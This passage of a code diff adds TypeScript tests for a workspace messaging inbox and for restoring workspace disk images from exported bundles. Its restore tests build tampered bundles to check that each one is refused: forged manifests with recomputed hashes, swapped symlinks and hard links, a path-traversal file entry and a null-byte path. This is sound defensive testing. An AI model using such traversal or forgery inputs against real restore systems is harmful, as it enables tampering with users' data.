is surfaced once, and the queue flows", async () => { + const w = world(), p = w.project(), a = w.bind(p), b = w.bind(p), calls: Call[] = []; + let refuse = true; + held(w, b, calls, { commit: id => (refuse && calls.filter(c => c[0] === "commit" && c[1] === id).length <= 3 ? new CoworkHeldInputRefusal("superseded") : undefined) }); + await w.send(w.messaging, a, b, { messageId: "m1" }); + const [first] = row(w) as Array>; + expect(first).toMatchObject({ state: "delivered", commit_outcome: null }); + await w.messaging.drainCoworkInbox(b); + expect((row(w)[0] as Record).commit_outcome).toBeNull(); + await w.messaging.drainCoworkInbox(b); // the third refusal + expect(row(w)[0]).toMatchObject({ commit_outcome: "lost" }); + expect(w.lostNotes).toEqual([`${b}:${first!.receipt_id}`]); + const commitsBefore = calls.filter(c => c[0] === "commit").length; + refuse = false; + await w.send(w.messaging, a, b, { messageId: "m2" }); + expect((row(w) as Array>).map(r => r.commit_outcome)).toEqual(["lost", "queued"]); + expect(calls.filter(c => c[0] === "commit" && c[1] === first!.receipt_id)).toHaveLength(commitsBefore); // never retried + // A transport error is not a refusal: it retries without ever ending the receipt. + const t = world(), tp = t.project(), ta = t.bind(tp), tb = t.bind(tp); + held(t, tb, [], { commit: () => new Error("down") }); + await t.send(t.messaging, ta, tb); + for (let i = 0; i < 6; i++) await t.messaging.drainCoworkInbox(tb); + expect(row(t)[0]).toMatchObject({ commit_outcome: null }); + expect(t.lostNotes).toEqual([]); +}); + +test("the reconcile confirms only entries the ledger lists as unconfirmed", async () => { + const w = world(), p = w.project(), a = w.bind(p), b = w.bind(p), c = w.bind(p); + held(w, b, [], { commit: () => new Error("down") }); + await w.send(w.messaging, a, b, { messageId: "m1" }); // delivered, unconfirmed + held(w, c, []); + await w.send(w.messaging, a, c, { messageId: "m2" }); // delivered AND confirmed (another recipient) + const inbox = new CoworkPeerInbox({ records: w.records, store: new SqlitePeerInboxStore(w.db) }); + const [unconfirmed, confirmed] = row(w) as Array>; + const guest: Call[] = []; + const entry = (inputId: string, holdToken: string, state: "committed" | "in_transcript") => ({ inputId, digest: "a".repeat(64), holdToken, state }); + await coworkHeldInputReconciler(inbox)({ sessionId: b, epoch: { incarnationId: "i", leaseEpoch: 1 }, verbs: heldGuest(guest), + inputs: [entry(confirmed!.receipt_id, "c".repeat(64), "in_transcript"), entry("pr_stranger", "d".repeat(64), "in_transcript"), entry(unconfirmed!.receipt_id, unconfirmed!.acked_hold_token, "committed")] }); + expect(guest).toEqual([]); // nothing forgotten: only the unconfirmed one was confirmed + expect(row(w, unconfirmed!.receipt_id)[0]).toMatchObject({ commit_outcome: "already" }); + expect(row(w, confirmed!.receipt_id)[0]).toMatchObject({ commit_outcome: "queued" }); // untouched +}); + +test("held delivery: transient commit refusals (journal_full, journal_failed, epoch) never end a receipt as lost, however often they repeat", async () => { + for (const code of ["journal_full", "journal_failed", "epoch"] as const) { + const w = world(), p = w.project(), a = w.bind(p), b = w.bind(p); + held(w, b, [], { commit: () => new CoworkHeldInputRefusal(code) }); + await w.send(w.messaging, a, b); + for (let i = 0; i < 8; i++) await w.messaging.drainCoworkInbox(b); + expect(row(w)[0]).toMatchObject({ state: "delivered", commit_outcome: null }); + expect(w.lostNotes).toEqual([]); + } + // The permanent ones do end it (superseded is covered above; the others by the same counter). + for (const code of ["conflict", "committed", "invalid"] as const) { + const w = world(), p = w.project(), a = w.bind(p), b = w.bind(p); + held(w, b, [], { commit: () => new CoworkHeldInputRefusal(code as never) }); + await w.send(w.messaging, a, b); + for (let i = 0; i < 3; i++) await w.messaging.drainCoworkInbox(b); + expect(row(w)[0]).toMatchObject({ commit_outcome: "lost" }); + } +}); + +test("held delivery: one stall note per stall after 3 failed drains in a row; a success re-arms it", async () => { + const w = world(), p = w.project(), a = w.bind(p), b = w.bind(p); + let down = true; + held(w, b, [], { commit: () => (down ? new Error("transport lost") : undefined) }); + await w.send(w.messaging, a, b, { messageId: "m1" }); // failure 1 (the commit) + await w.messaging.drainCoworkInbox(b); // failure 2 + expect(w.stallNotes).toEqual([]); + await w.messaging.drainCoworkInbox(b); // failure 3 + expect(w.stallNotes).toEqual([b]); + for (let i = 0; i < 4; i++) await w.messaging.drainCoworkInbox(b); + expect(w.stallNotes).toEqual([b]); // deduped per stall + down = false; + await w.messaging.drainCoworkInbox(b); // the repair succeeds: re-armed + down = true; + await w.send(w.messaging, a, b, { messageId: "m2" }); + for (let i = 0; i < 3; i++) await w.messaging.drainCoworkInbox(b); + expect(w.stallNotes).toEqual([b, b]); + expect(coworkStalledInboxNotice().text).not.toMatch(/s_\d|pr_/); +}); diff --git a/packages/core/test/cowork/restore-bundle.test.ts b/packages/core/test/cowork/restore-bundle.test.ts new file mode 100644 index 000000000..60024cb3d --- /dev/null +++ b/packages/core/test/cowork/restore-bundle.test.ts @@ -0,0 +1,384 @@ +// The restore flow. Every conflict rule in restore-bundle.ts has a test here that fails when the rule is removed. +import { afterEach, expect, setDefaultTimeout, test } from "bun:test"; +import { cpSync, existsSync, linkSync, lstatSync, mkdirSync, readFileSync, readdirSync, rmSync, statSync, symlinkSync, unlinkSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { comparePaths, serializeIntegrity, verifyBundle, type BundleIntegrity } from "../../src/cowork/export-bundle"; +import { createCoworkWorkspaceRestorer } from "../../src/cowork/restore-bundle"; +import { CoworkVolumeError } from "../../src/cowork/volumes"; +import { sha256Hex } from "../../src/cowork/storage-lifecycle"; +import { BACKUP_XATTR, PROOF, failsWith, fixture, listXattrs, poke, runCleanup, type Fixture } from "./export-fixture"; + +setDefaultTimeout(60_000); +afterEach(runCleanup); + +const snapshot = (f: Fixture): Record<"data" | "environment", { ino: number; digest: string }> => { + const one = (purpose: "data" | "environment") => { const path = f.image(purpose), st = statSync(path); return { ino: st.ino, digest: sha256Hex(readFileSync(path).toString("base64")) }; }; + return { data: one("data"), environment: one("environment") }; +}; +const sharedSnapshot = (f: Fixture) => Object.fromEntries(readdirSync(f.shared, { recursive: true }).map(String).filter(p => lstatSync(join(f.shared, p)).isFile()).sort().map(p => [p, readFileSync(join(f.shared, p), "utf8")])); +const workspaceListing = (f: Fixture) => readdirSync(f.dir).sort(); +/** A guest that kept working after the export: both images and the shared files differ now. */ +function driftAfterExport(f: Fixture) { + poke(f.image("data"), 8192, "LATER-DATA-BYTES"); poke(f.image("environment"), 4096, "LATER-ENV-BYTES"); + f.put("memory/notes.md", "- changed after the export\n"); f.put("memory/new-after.md", "new\n"); +} +/** A bundle an attacker (or a bug) rebuilt consistently: manifest edited, integrity recomputed over every file. */ +function forge(source: string, to: string, edit: (manifest: Record) => void): string { + cpSync(source, to, { recursive: true }); + const manifest = JSON.parse(readFileSync(join(to, "manifest.json"), "utf8")); edit(manifest); + const text = JSON.stringify(manifest); writeFileSync(join(to, "manifest.json"), text); + const integrity = JSON.parse(readFileSync(join(to, "integrity.json"), "utf8")) as BundleIntegrity; + integrity.manifestDigest = sha256Hex(text); integrity.exportId = manifest.generation.exportId; + const entry = integrity.files.find(file => file.path === "manifest.json")!; entry.bytes = Buffer.byteLength(text); entry.sha256 = sha256Hex(text); + writeFileSync(join(to, "integrity.json"), serializeIntegrity(integrity)); + return to; +} +const restoreInput = (path: string, extra: Record = {}) => ({ bundlePath: path, proof: PROOF, ...extra }); + +test("restore replaces both images with the exported generation, keeps what it replaced, and the workspace can be claimed again", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); + const original = snapshot(f); const originalImages = { data: readFileSync(f.image("data")), environment: readFileSync(f.image("environment")) }; + driftAfterExport(f); + const drifted = { data: readFileSync(f.image("data")), environment: readFileSync(f.image("environment")) }; const liveShared = sharedSnapshot(f); + const result = await f.restorer().restore(restoreInput(exported.path)); + expect(result).toMatchObject({ workspaceId: f.workspaceId, exportId: exported.exportId, generation: 1, restored: ["data.ext4", "env.ext4"], asideName: `restore-aside-${exported.exportId}`, sharedName: `restored-shared-${exported.exportId}` }); + // Live images are the exported bytes; the replaced ones are kept, byte for byte, in the aside folder. + expect(readFileSync(f.image("data")).equals(originalImages.data)).toBe(true); expect(readFileSync(f.image("environment")).equals(originalImages.environment)).toBe(true); + expect(readFileSync(join(f.dir, result.asideName, "data.ext4")).equals(drifted.data)).toBe(true); expect(readFileSync(join(f.dir, result.asideName, "env.ext4")).equals(drifted.environment)).toBe(true); + expect(JSON.parse(readFileSync(join(f.dir, result.asideName, "RESTORE.json"), "utf8"))).toMatchObject({ exportId: exported.exportId, generation: 1, replaced: [{ file: "data.ext4", hadLiveImage: true }, { file: "env.ext4", hadLiveImage: true }] }); + // The live shared folders are untouched; the bundle's shared files sit beside them, never merged. + expect(sharedSnapshot(f)).toEqual(liveShared); + expect(readFileSync(join(f.dir, result.sharedName!, "memory/notes.md"), "utf8")).toBe("- remembered\n"); + expect(readFileSync(join(f.dir, result.sharedName!, "outputs/session-one/report.pdf")).length).toBe(8); + // Different files now (a swap, not an in-place write), re-recorded and backup-excluded: the real volume layer accepts them. + expect(snapshot(f).data.ino).not.toBe(original.data.ino); + expect(f.identityCalls()).toBe(2); + const claimed = f.volumes.claim(f.request); expect(claimed.every(volume => volume.owner !== null)).toBe(true); + const opened = f.volumes.open(f.request, "data"); opened.close(); + expect(workspaceListing(f)).toEqual(["bookmark.bin", "credentials.json", "data.ext4", "env.ext4", result.asideName, result.sharedName!, "shared"].sort()); +}); + +test("the confirmation is mandatory, receives an accurate summary, and a no leaves the workspace exactly as it was", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); driftAfterExport(f); + const before = snapshot(f), listing = workspaceListing(f); + for (const answer of [false, () => false, () => Promise.resolve(false), (() => "yes") as unknown as boolean, (() => 1) as unknown as boolean]) { + f.setAnswer(answer); + await failsWith(f.restorer().restore(restoreInput(exported.path)), "restore_unconfirmed"); + } + expect(snapshot(f)).toEqual(before); expect(workspaceListing(f)).toEqual(listing); expect(f.identityCalls()).toBe(0); + expect(f.confirmations[0]).toMatchObject({ workspaceId: f.workspaceId, exportId: exported.exportId, generation: 1, latest: true, sharedFiles: 5, asideName: `restore-aside-${exported.exportId}`, + images: [{ file: "data.ext4", liveExists: true, liveMatchesRecord: true, bytes: 16 * 1024 * 1024 }, { file: "env.ext4", liveExists: true, liveMatchesRecord: true, bytes: 16 * 1024 * 1024 }] }); + f.setAnswer(() => { throw new Error("card failed"); }); + await failsWith(f.restorer().restore(restoreInput(exported.path)), "export_not_ready"); + expect(snapshot(f)).toEqual(before); +}); + +test("a missing live image is restored without an exchange and the confirmation says it was missing; a live image that is not the recorded file is reported", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); + unlinkSync(f.image("data")); + const result = await f.restorer().restore(restoreInput(exported.path)); + expect(f.confirmations[0]!.images[0]).toMatchObject({ file: "data.ext4", liveExists: false, liveMatchesRecord: false }); + expect(readFileSync(f.image("data")).includes(Buffer.from("DATA-IMAGE-BYTES"))).toBe(true); + expect(JSON.parse(readFileSync(join(f.dir, result.asideName, "RESTORE.json"), "utf8")).replaced[0]).toEqual({ file: "data.ext4", hadLiveImage: false }); + f.volumes.claim(f.request); + const g = await fixture(); const ex2 = await g.exportOnce("b"); + unlinkSync(g.image("environment")); writeFileSync(g.image("environment"), "a replacement somebody put there", { mode: 0o600 }); + await g.restorer().restore(restoreInput(ex2.path)); + expect(g.confirmations[0]!.images[1]).toMatchObject({ file: "env.ext4", liveExists: true, liveMatchesRecord: false }); +}); + +test("only the latest completed generation restores without an explicit flag", async () => { + const f = await fixture(); const first = await f.exportOnce("one"); poke(f.image("data"), 9000, "SECOND"); const second = await f.exportOnce("two"); + await failsWith(f.restorer().restore(restoreInput(first.path)), "restore_conflict"); + expect(f.confirmations).toHaveLength(0); // refused before any card + await f.restorer().restore(restoreInput(first.path, { allowOlderGeneration: true })); + expect(f.confirmations[0]).toMatchObject({ generation: 1, latest: false }); + expect(readFileSync(f.image("data")).includes(Buffer.from("SECOND"))).toBe(false); + const g = await fixture(); const a = await g.exportOnce("a"); const b = await g.exportOnce("b"); + await g.restorer().restore(restoreInput(b.path)); void a; +}); + +test("a running, owned or deleted workspace is refused; an owner or a claim that appears while the card is open is caught afterwards", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); const before = snapshot(f); + f.db.db.run("UPDATE cowork_workspaces SET power='running' WHERE workspace_id=?", [f.workspaceId]); + await failsWith(f.restorer().restore(restoreInput(exported.path)), "recovery_required"); // validateImport: a workspace not at rest no longer derives the manifest + f.db.db.run("UPDATE cowork_workspaces SET power='stopped' WHERE workspace_id=?", [f.workspaceId]); + f.volumes.claim(f.request); + await failsWith(f.restorer().restore(restoreInput(exported.path)), "volume_busy"); + f.volumes.release(f.request, { confirmationId: "stop-1", proof: PROOF }); + expect(f.confirmations).toHaveLength(0); + // While the card is open the workspace is claimed: judged again after the answer. + f.setAnswer(() => { f.volumes.claim(f.request); return true; }); + await failsWith(f.restorer().restore(restoreInput(exported.path)), "volume_busy"); + expect(snapshot(f)).toEqual(before); expect(readdirSync(f.dir).some(name => name.startsWith(".restore-"))).toBe(false); + const g = await fixture(); const ex = await g.exportOnce("b"); g.db.db.run("UPDATE cowork_workspaces SET state='deleting' WHERE workspace_id=?", [g.workspaceId]); + await failsWith(g.restorer().restore(restoreInput(ex.path)), "authority_denied"); +}); + +test("a live image replaced while the card was open is a conflict, not an overwrite", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); + f.setAnswer(() => { unlinkSync(f.image("environment")); writeFileSync(f.image("environment"), "swapped in while you were deciding", { mode: 0o600 }); return true; }); + await failsWith(f.restorer().restore(restoreInput(exported.path)), "restore_conflict"); + expect(readFileSync(f.image("environment"), "utf8")).toBe("swapped in while you were deciding"); + expect(f.identityCalls()).toBe(0); +}); + +test("authority and identity: no proof, a foreign home, an unknown workspace and an unrecorded generation each refuse, even for a consistently rebuilt bundle", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); const before = snapshot(f); + await failsWith(f.restorer().restore({ bundlePath: exported.path, proof: { wrong: true } }), "authority_denied"); + const cases: Array<[string, (m: Record) => void, string]> = [ + ["foreign home", m => { m.homeId = "another-home"; }, "foreign_home"], + ["unknown workspace", m => { m.workspace.workspaceId = "no-such-workspace"; }, "workspace_unknown"], + ["unrecorded generation", m => { m.generation.exportId = "export_forged"; }, "generation_unknown"], + ["changed volume uuid", m => { m.volumes[0].filesystemUuid = "00000000-0000-4000-8000-000000000000"; }, "generation_unknown"], + ["changed digest", m => { m.images.baseImageDigest = "c".repeat(64); }, "generation_unknown"], + ["extra manifest key", m => { m.extra = true; }, "manifest_invalid"], + ["future format", m => { m.formatVersion = 2; }, "unknown_format"], + ["unknown volume format", m => { m.volumes[0].format = "luks"; }, "unknown_format"], + ]; + let n = 0; + for (const [name, edit, code] of cases) { + const forged = forge(exported.path, join(f.destination, `forged-${++n}.winterworkspace`), edit); + await failsWith(f.restorer().restore(restoreInput(forged)).catch(error => { if (name === "extra manifest key") { /* index is consistent, manifest is not */ } throw error; }), code as any).catch(error => { throw new Error(`${name}: ${error.message}`); }); + } + expect(snapshot(f)).toEqual(before); expect(f.confirmations).toHaveLength(0); expect(f.identityCalls()).toBe(0); +}); + +test("a consistently rebuilt bundle is still refused when its index disagrees with the manifest or with the recorded image size", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); const before = snapshot(f); + // The index names a different export than the manifest does. + const other = join(f.destination, "other-id.winterworkspace"); cpSync(exported.path, other, { recursive: true }); + const index = JSON.parse(readFileSync(join(other, "integrity.json"), "utf8")); index.exportId = "export_someone_else"; writeFileSync(join(other, "integrity.json"), serializeIntegrity(index)); + await failsWith(f.restorer().restore(restoreInput(other)), "bundle_invalid"); + // A truncated image, with the index recomputed over it: the manifest's capacity is the record's, not the bundle's. + const small = join(f.destination, "small.winterworkspace"); cpSync(exported.path, small, { recursive: true }); + writeFileSync(join(small, "env.ext4"), "tiny", { mode: 0o600 }); + const idx = JSON.parse(readFileSync(join(small, "integrity.json"), "utf8")) as BundleIntegrity; + const entry = idx.files.find(file => file.path === "env.ext4")!; entry.bytes = 4; entry.sha256 = sha256Hex("tiny"); + writeFileSync(join(small, "integrity.json"), serializeIntegrity(idx)); + await failsWith(f.restorer().restore(restoreInput(small)), "bundle_invalid"); + expect(snapshot(f)).toEqual(before); expect(f.confirmations).toHaveLength(0); +}); + +test("a bundle damaged in any way is refused before the workspace is touched", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); const before = snapshot(f), listing = workspaceListing(f); + let n = 0; + const copy = () => { const to = join(f.destination, `damaged-${++n}.winterworkspace`); cpSync(exported.path, to, { recursive: true }); return to; }; + const damages: Array<[string, (path: string) => void, string]> = [ + ["flipped image byte", p => poke(join(p, "data.ext4"), 8192, "Z"), "bundle_invalid"], + ["flipped shared byte", p => writeFileSync(join(p, "shared/memory/notes.md"), "- remembered!\n"), "bundle_invalid"], + ["truncated shared file", p => writeFileSync(join(p, "shared/memory/notes.md"), ""), "bundle_invalid"], + ["extra shared file", p => writeFileSync(join(p, "shared/memory/extra.md"), "x"), "bundle_invalid"], + ["missing shared file", p => unlinkSync(join(p, "shared/memory/notes.md")), "bundle_invalid"], + ["missing image", p => unlinkSync(join(p, "env.ext4")), "bundle_invalid"], + ["missing integrity", p => unlinkSync(join(p, "integrity.json")), "bundle_invalid"], + ["extra top-level file", p => writeFileSync(join(p, "notes.txt"), "x"), "bundle_invalid"], + ["unknown shared root", p => { mkdirSync(join(p, "shared/other")); writeFileSync(join(p, "shared/other/x"), "x"); }, "bundle_invalid"], + ["manifest edited alone", p => writeFileSync(join(p, "manifest.json"), readFileSync(join(p, "manifest.json"), "utf8").replace("export_fixture_1", "export_fixture_9")), "generation_unknown"], + ["integrity not canonical", p => writeFileSync(join(p, "integrity.json"), JSON.stringify(JSON.parse(readFileSync(join(p, "integrity.json"), "utf8")), null, 1)), "bundle_invalid"], + ["integrity oversized", p => writeFileSync(join(p, "integrity.json"), " ".repeat(17 * 1024 * 1024)), "bundle_invalid"], + ["integrity with traversal", p => { const i = JSON.parse(readFileSync(join(p, "integrity.json"), "utf8")); i.files.push({ path: "shared/memory/../../data.ext4", bytes: 0, sha256: "0".repeat(64) }); writeFileSync(join(p, "integrity.json"), serializeIntegrity(i)); }, "bundle_invalid"], + ["integrity unsorted", p => { const i = JSON.parse(readFileSync(join(p, "integrity.json"), "utf8")); i.files.reverse(); writeFileSync(join(p, "integrity.json"), serializeIntegrity(i)); }, "bundle_invalid"], + ["integrity duplicate", p => { const i = JSON.parse(readFileSync(join(p, "integrity.json"), "utf8")); i.files.push(i.files[0]); i.files.sort((a: any, b: any) => comparePaths(a.path, b.path)); writeFileSync(join(p, "integrity.json"), serializeIntegrity(i)); }, "bundle_invalid"], + ["symlinked shared file", p => { unlinkSync(join(p, "shared/memory/notes.md")); symlinkSync(join(f.dir, "bookmark.bin"), join(p, "shared/memory/notes.md")); }, "bundle_unsafe"], + ["symlinked image", p => { unlinkSync(join(p, "data.ext4")); symlinkSync(f.image("data"), join(p, "data.ext4")); }, "bundle_unsafe"], + ["hard-linked shared file", p => linkSync(join(p, "shared/memory/notes.md"), join(f.destination, `hl-${n}`)), "bundle_unsafe"], + ["shared is a symlink", p => { rmSync(join(p, "shared"), { recursive: true }); symlinkSync(f.shared, join(p, "shared")); }, "bundle_unsafe"], + ]; + for (const [name, damage, code] of damages) { const p = copy(); damage(p); await failsWith(f.restorer().restore(restoreInput(p)), code as any).catch(error => { throw new Error(`${name}: ${error.message}`); }); } + // Not a bundle at all: wrong suffix, relative, missing, a symlink to a good bundle, a regular file. + const link = join(f.destination, "link.winterworkspace"); symlinkSync(exported.path, link); + for (const path of [exported.path.replace(".winterworkspace", ".zip"), "relative.winterworkspace", join(f.destination, "missing.winterworkspace"), join(f.destination, "x.winterworkspace\0"), link]) await failsWith(f.restorer().restore(restoreInput(path)), path === link ? "bundle_unsafe" : "bundle_invalid"); + const plain = join(f.destination, "plain.winterworkspace"); writeFileSync(plain, "x"); + await failsWith(f.restorer().restore(restoreInput(plain)), "bundle_invalid"); + expect(snapshot(f)).toEqual(before); expect(workspaceListing(f)).toEqual(listing); expect(f.confirmations).toHaveLength(0); +}); + +test("the bundle is hashed again as it is staged: a file that changes after verification but before the copy is caught", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); const before = snapshot(f), listing = workspaceListing(f); + f.setAnswer(() => { poke(join(exported.path, "data.ext4"), 8192, "Z"); return true; }); // after verifyBundle, during the card + await failsWith(f.restorer().restore(restoreInput(exported.path)), "bundle_invalid"); + expect(snapshot(f)).toEqual(before); expect(workspaceListing(f)).toEqual(listing); // staging removed, nothing swapped + const g = await fixture(); const ex = await g.exportOnce("b"); + g.setAnswer(() => { writeFileSync(join(ex.path, "shared/memory/notes.md"), "- tampered after verification\n"); return true; }); + await failsWith(g.restorer().restore(restoreInput(ex.path)), "bundle_invalid"); + expect(workspaceListing(g)).not.toContain(`restored-shared-${ex.exportId}`); +}); + +test("the restored image carries the backup exclusion before it can become live; if that cannot be verified nothing is swapped", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); const before = snapshot(f), listing = workspaceListing(f); + f.setAnswer(() => { f.breakBackup(true); return true; }); + await failsWith(f.restorer().restore(restoreInput(exported.path)), "backup_exclusion_unavailable"); + expect(snapshot(f)).toEqual(before); expect(workspaceListing(f)).toEqual(listing); expect(f.identityCalls()).toBe(0); + // On success the live inode is in the exclusion set (the fake backup port keys on dev:ino). + const g = await fixture(); const ex = await g.exportOnce("b"); await g.restorer().restore(restoreInput(ex.path)); + const st = statSync(g.image("data")); expect(g.excluded.has(`${st.dev}:${st.ino}`)).toBe(true); + // The exported bundle itself never had the exclusion, and the staged copy of it never had stray attributes. + expect(listXattrs(join(ex.path, "data.ext4"))).toEqual([]); + void BACKUP_XATTR; +}); + +test("a failure after the exchange fails closed: the old images are kept, the recorded identity no longer matches, and the volume layer refuses", async () => { + for (const crash of [ + (f: Fixture) => f.checkpoints.push(phase => { if (phase === "swapped:data.ext4") throw new Error("crash between the exchange and the identity record"); }), + (f: Fixture) => f.failIdentity(true), + (f: Fixture) => f.checkpoints.push(phase => { if (phase === "identity-recorded") throw new Error("crash before the final rename"); }), + ]) { + const f = await fixture(); const exported = await f.exportOnce("backup"); driftAfterExport(f); + const drifted = readFileSync(f.image("data")); crash(f); + await failsWith(f.restorer().restore(restoreInput(exported.path)), "recovery_required"); + // Nothing deleted: the pre-restore image is still on disk in the staging folder. + expect(readFileSync(join(f.dir, `.restore-${exported.exportId}`, "data.ext4")).equals(drifted)).toBe(true); + expect(workspaceListing(f)).toContain(`.restore-${exported.exportId}`); + // For the first two crashes the database still records the OLD file, so the volume layer refuses to hand it out. + if (f.identityCalls() === 0 || f.identityCalls() === 1) { let error: unknown; try { f.volumes.claim(f.request); } catch (caught) { error = caught; } expect(error).toBeInstanceOf(CoworkVolumeError); expect((error as CoworkVolumeError).code).toBe("recovery_required"); } + // And it will not run the same restore again on top of the debris. + f.checkpoints.length = 0; f.failIdentity(false); + await failsWith(f.restorer().restore(restoreInput(exported.path)), "restore_conflict"); + } +}); + +test("a leftover aside, shared or staging folder of this generation refuses a second restore; two restores of one workspace cannot overlap", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); + for (const name of [`restore-aside-${exported.exportId}`, `restored-shared-${exported.exportId}`, `.restore-${exported.exportId}`]) { + mkdirSync(join(f.dir, name)); await failsWith(f.restorer().restore(restoreInput(exported.path)), "restore_conflict"); rmSync(join(f.dir, name), { recursive: true }); + } + // A DIFFERENT instance on the same workspace while the first is mid-restore: the lock is process-wide, not per instance. + const first = f.restorer(), other = f.restorer(); let second: Promise | undefined; + f.setAnswer(() => { second = other.restore(restoreInput(exported.path)).catch(error => error); return true; }); + await first.restore(restoreInput(exported.path)); + expect((await second as any).code).toBe("restore_conflict"); + // The lock is released: a later restore of the next generation proceeds. + poke(f.image("data"), 9100, "NEXT"); const next = await f.exportOnce("next"); f.setAnswer(true); + await f.restorer().restore(restoreInput(next.path)); +}); + +test("the workspace is held from the last check to the identity record: a claim that lands while the copy is staged ends in a refusal, not in 'restored'", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); driftAfterExport(f); + const before = snapshot(f), listing = workspaceListing(f); + f.checkpoints.push(phase => { if (phase === "staged") f.volumes.claim(f.request); }); + await failsWith(f.restorer().restore(restoreInput(exported.path)), "volume_busy"); + expect(snapshot(f)).toEqual(before); expect(f.identityCalls()).toBe(0); + expect(workspaceListing(f)).toEqual(listing); // the staging folder was cleaned, nothing was exchanged + // The same for a workspace that starts running, and for a live image replaced at that moment. + const g = await fixture(); const eg = await g.exportOnce("b"); + g.checkpoints.push(phase => { if (phase === "staged") g.db.db.run("UPDATE cowork_workspaces SET power='running' WHERE workspace_id=?", [g.workspaceId]); }); + await failsWith(g.restorer().restore(restoreInput(eg.path)), "recovery_required"); + const h = await fixture(); const eh = await h.exportOnce("c"); + h.checkpoints.push(phase => { if (phase === "staged") { unlinkSync(h.image("environment")); writeFileSync(h.image("environment"), "replaced at the last moment", { mode: 0o600 }); } }); + await failsWith(h.restorer().restore(restoreInput(eh.path)), "restore_conflict"); + expect(readFileSync(h.image("environment"), "utf8")).toBe("replaced at the last moment"); +}); + +test("the process-wide lock, not the leftover check, stops a second restorer that was already past its checks", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); + let reachedSecond!: () => void; const secondReached = new Promise(resolve => { reachedSecond = resolve; }); + let finishedFirst: Promise = Promise.resolve(), calls = 0; + // The first restorer waits at its card until the second has reached ITS card (or 300 ms pass); the second then waits for the + // first to finish before it answers. Without the lock both pass every check and the second replaces the images again. + f.setAnswer(async () => { + if (++calls === 1) { await Promise.race([secondReached, new Promise(resolve => setTimeout(resolve, 300))]); return true; } + reachedSecond(); await finishedFirst; return true; + }); + const first = f.restorer().restore(restoreInput(exported.path)); finishedFirst = first.catch(() => undefined); + const second = f.restorer().restore(restoreInput(exported.path)).then(() => "restored", (error: any) => error.code); + await first; + expect(await second).toBe("restore_conflict"); + expect(f.identityCalls()).toBe(2); // one restore's two records, not four +}); + +test("two instances restoring the same workspace cannot both succeed", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); + const results = await Promise.allSettled([f.restorer().restore(restoreInput(exported.path)), f.restorer().restore(restoreInput(exported.path))]); + expect(results.filter(result => result.status === "fulfilled")).toHaveLength(1); + expect(results.filter(result => result.status === "rejected").map(result => (result as PromiseRejectedResult).reason.code)).toEqual(["restore_conflict"]); +}); + +test("a bundle that was rewritten and re-indexed is refused: the database binds the index, and without that column the restorer cannot be built", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); const before = snapshot(f); + const forged = join(f.destination, "rewritten.winterworkspace"); cpSync(exported.path, forged, { recursive: true }); + poke(join(forged, "data.ext4"), 8192, "EVIL"); // rewrite the image, then recompute the index over it + const idx = JSON.parse(readFileSync(join(forged, "integrity.json"), "utf8")) as BundleIntegrity; + const { createHash } = await import("node:crypto"); + idx.files.find(file => file.path === "data.ext4")!.sha256 = createHash("sha256").update(readFileSync(join(forged, "data.ext4"))).digest("hex"); + writeFileSync(join(forged, "integrity.json"), serializeIntegrity(idx)); + await verifyBundle(forged).then(bundle => bundle.close()); // internally consistent: the old check alone would accept it + await failsWith(f.restorer().restore(restoreInput(forged)), "bundle_invalid"); + expect(snapshot(f)).toEqual(before); expect(f.confirmations).toHaveLength(0); + // No binding recorded for the generation, or a binding for another digest: refused. + f.bound.clear(); await failsWith(f.restorer().restore(restoreInput(exported.path)), "bundle_invalid"); + // The shape production can build today refuses everything; a ports object without the binding cannot be built at all. + await failsWith(createCoworkWorkspaceRestorer(undefined).restore(restoreInput(exported.path)), "integration_unavailable"); + expect(() => createCoworkWorkspaceRestorer({ ...f.restorePorts, binding: undefined as never })).toThrow(); +}); + +test("authority and the recorded sizes are judged before a byte of any image is hashed", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); + poke(join(exported.path, "data.ext4"), 8192, "Z"); // a corrupt image: hashing would say bundle_invalid + await failsWith(f.restorer().restore({ bundlePath: exported.path, proof: { wrong: true } }), "authority_denied"); + await failsWith(f.restorer().restore(restoreInput(exported.path)), "bundle_invalid"); // with authority, the hash does run + const g = await fixture(); const eg = await g.exportOnce("b"); poke(join(eg.path, "data.ext4"), 8192, "Z"); + g.bound.set(eg.exportId, { ...g.bound.get(eg.exportId)!, contentDigest: "0".repeat(64) }); + await failsWith(g.restorer().restore(restoreInput(eg.path)), "bundle_invalid"); // the binding is judged first too +}); + +test("opaque output ids map back to the real session folders, and an id the record does not hold is refused", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); + const opaqueId = Object.keys(f.bound.get(exported.exportId)!.outputIds)[0]!; + expect(f.bound.get(exported.exportId)!.outputIds).toEqual({ [opaqueId]: "session-one" }); + f.setAnswer(true); + f.bound.set(exported.exportId, { ...f.bound.get(exported.exportId)!, outputIds: {} }); + await failsWith(f.restorer().restore(restoreInput(exported.path)), "bundle_invalid"); + f.bound.set(exported.exportId, { ...f.bound.get(exported.exportId)!, outputIds: { [opaqueId]: "session-one" } }); + const result = await f.restorer().restore(restoreInput(exported.path)); + expect(existsSync(join(f.dir, result.sharedName!, "outputs/session-one/report.pdf"))).toBe(true); + expect(existsSync(join(f.dir, result.sharedName!, `outputs/${opaqueId}`))).toBe(false); +}); + +test("a staging folder created by someone else in the moment before ours is never removed by us", async () => { + const f = await fixture(); const exported = await f.exportOnce("backup"); + const theirs = join(f.dir, `.restore-${exported.exportId}`); + f.setAnswer(() => { mkdirSync(theirs); writeFileSync(join(theirs, "keep.txt"), "theirs"); return true; }); + await expect(f.restorer().restore(restoreInput(exported.path))).rejects.toThrow(); + expect(readFileSync(join(theirs, "keep.txt"), 